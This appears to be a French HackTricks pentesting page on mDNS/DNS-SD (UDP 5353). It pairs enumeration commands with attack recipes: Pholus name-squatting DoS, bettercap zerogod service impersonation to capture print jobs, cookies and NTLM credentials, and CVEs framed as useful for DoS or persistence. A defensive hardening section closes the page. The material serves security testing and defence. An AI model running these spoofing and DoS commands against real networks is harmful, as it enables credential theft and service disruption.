5353/UDP Multicast DNS (mDNS) et DNS-SD
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Multicast DNS (mDNS) permet la résolution de noms de type DNS et la découverte de services sur un lien local sans serveur DNS unicast. Il utilise UDP/5353 et les adresses multicast 224.0.0.251 (IPv4) et FF02::FB (IPv6). DNS Service Discovery (DNS-SD, généralement utilisé avec mDNS) fournit une façon standardisée d’énumérer et de décrire des services via les enregistrements PTR, SRV et TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Principaux détails du protocole que vous exploiterez souvent pendant les attaques :
- Les noms dans la zone .local sont résolus via mDNS.
- Le bit QU (Query Unicast) peut demander des réponses unicast même pour des questions multicast.
- Les implémentations doivent ignorer les paquets dont la source n’est pas le lien local ; certaines stacks les acceptent encore.
- Le probing/announcing impose des noms d’hôte/service uniques ; interférer ici crée des conditions de DoS/“name squatting”.
DNS-SD service model
Les services sont identifiés comme _
Exploration et énumération du réseau
- nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Astuce : Certains navigateurs/WebRTC utilisent des noms d’hôtes mDNS éphémères pour masquer les IP locales. Si vous voyez des candidats random-UUID.local sur le réseau, résolvez-les via mDNS pour pivot vers les IP locales.
Attacks
mDNS name probing interference (DoS / name squatting)
Pendant la phase de probing, un hôte vérifie l’unicité du nom. Répondre avec des conflits spoofed l’oblige à choisir de nouveaux noms ou à échouer. Cela peut retarder ou empêcher l’enregistrement et la découverte des services.
Exemple avec Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Service spoofing and impersonation (MitM)
Se faire passer pour des services DNS-SD annoncés (imprimantes, AirPlay, HTTP, partages de fichiers) pour contraindre les clients à se connecter à vous. Ceci est particulièrement utile pour :
- Récupérer des documents en spoofing _ipp._tcp ou _printer._tcp.
- Leurrer les clients vers des services HTTP/HTTPS pour collecter des tokens/cookies ou livrer des payloads.
- Combiner avec les techniques de NTLM relay lorsque des clients Windows négocient l’authentification vers des services spoofed.
Avec le module zerogod de bettercap (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Remarques sur des problèmes récents d’implémentation (utile pour DoS/persistence lors d’engagements)
- Des bugs reachable-assertion d’Avahi et des crashs D-Bus (2023) peuvent arrêter avahi-daemon sur des distributions Linux (p.ex. CVE-2023-38469..38473, CVE-2023-1981), perturbant la découverte de services sur les hôtes ciblés jusqu’au redémarrage.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) permet à des clients WLAN adjacents d’inonder de mDNS craftés, faisant monter le CPU du WLC et supprimant les tunnels AP — pratique si vous devez forcer le roaming des clients ou des resets du contrôleur pendant un engagement.
- Apple mDNSResponder logic error DoS (CVE-2024-44183) permet à un processus local sandboxé de planter Bonjour pour supprimer brièvement la publication/recherche de services sur les endpoints Apple ; corrigé dans les versions récentes d’iOS/macOS.
- Apple mDNSResponder correctness issue (CVE-2025-31222) a permis local privilege escalation via mDNSResponder ; utile pour persistence sur des Macs/iPhones non gérés, corrigé dans les récentes mises à jour iOS/macOS.
Considérations mDNS pour Browser/WebRTC
Les versions récentes de Chromium/Firefox obfusquent les host candidates avec des noms mDNS aléatoires. Vous pouvez réexposer les IP LAN sur des endpoints gérés en poussant la stratégie Chrome WebRtcLocalIpsAllowedUrls (ou en basculant chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/équivalent Edge) afin qu’ICE expose les host candidates au lieu de mDNS ; définir via HKLM\Software\Policies\Google\Chrome.
Quand les utilisateurs désactivent manuellement la protection (commun dans les guides de dépannage WebRTC), leurs navigateurs recommencent à annoncer des host candidates en clair, que vous pouvez capturer via mDNS ou ICE signaling pour accélérer la découverte d’hôtes.
Considérations défensives et OPSEC
- Limites de segmentation : ne routiez pas 224.0.0.251/FF02::FB entre zones de sécurité à moins qu’un mDNS gateway ne soit explicitement requis. Si vous devez relier la découverte, préférez des allowlists et des limites de taux.
- Windows endpoints/servers :
- Pour désactiver complètement la résolution de noms via mDNS, définissez la valeur de registre et redémarrez :
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- Dans des environnements gérés, désactivez la règle Windows Defender Firewall intégrée “mDNS (UDP-In)” (au moins sur le profil Domaine) pour empêcher le traitement mDNS entrant tout en conservant la fonctionnalité home/roaming.
- Sur les versions récentes de Windows 11 / modèles GPO, utilisez la stratégie “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” et réglez-la sur Disabled.
- Linux (Avahi) :
- Restreignez la publication quand elle n’est pas nécessaire : mettez
disable-publishing=yes, et limitez les interfaces avecallow-interfaces=/deny-interfaces=dans/etc/avahi/avahi-daemon.conf. - Envisagez
check-response-ttl=yeset évitezenable-reflector=yessauf si strictement nécessaire ; préférezreflect-filters=allowlists lors de la réflexion. - macOS : restreignez le mDNS entrant au niveau des firewalls hôtes/réseau quand la découverte Bonjour n’est pas nécessaire pour certains sous-réseaux.
- Monitoring : alertez sur des pics inhabituels de requêtes
_services._dns-sd._udp.localou des changements soudains dans les enregistrements SRV/TXT de services critiques ; ce sont des indicateurs de spoofing ou d’usurpation de service.
Référence rapide des outils
- nmap NSE:
dns-service-discoveryandbroadcast-dns-service-discovery. - Pholus: scan actif, reverse mDNS sweeps, aides pour DoS et spoofing.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: découvrir, sauvegarder, annoncer et usurper des services mDNS/DNS-SD (voir exemples ci-dessus).
Spoofing/MitM
L’attaque la plus intéressante que vous pouvez réaliser via ce service est d’effectuer un MitM dans la communication entre le client et le serveur réel. Vous pourriez obtenir des fichiers sensibles (MitM la communication avec l’imprimante) ou même des credentials (Windows authentication).
Pour plus d’informations, consultez :
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
References
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


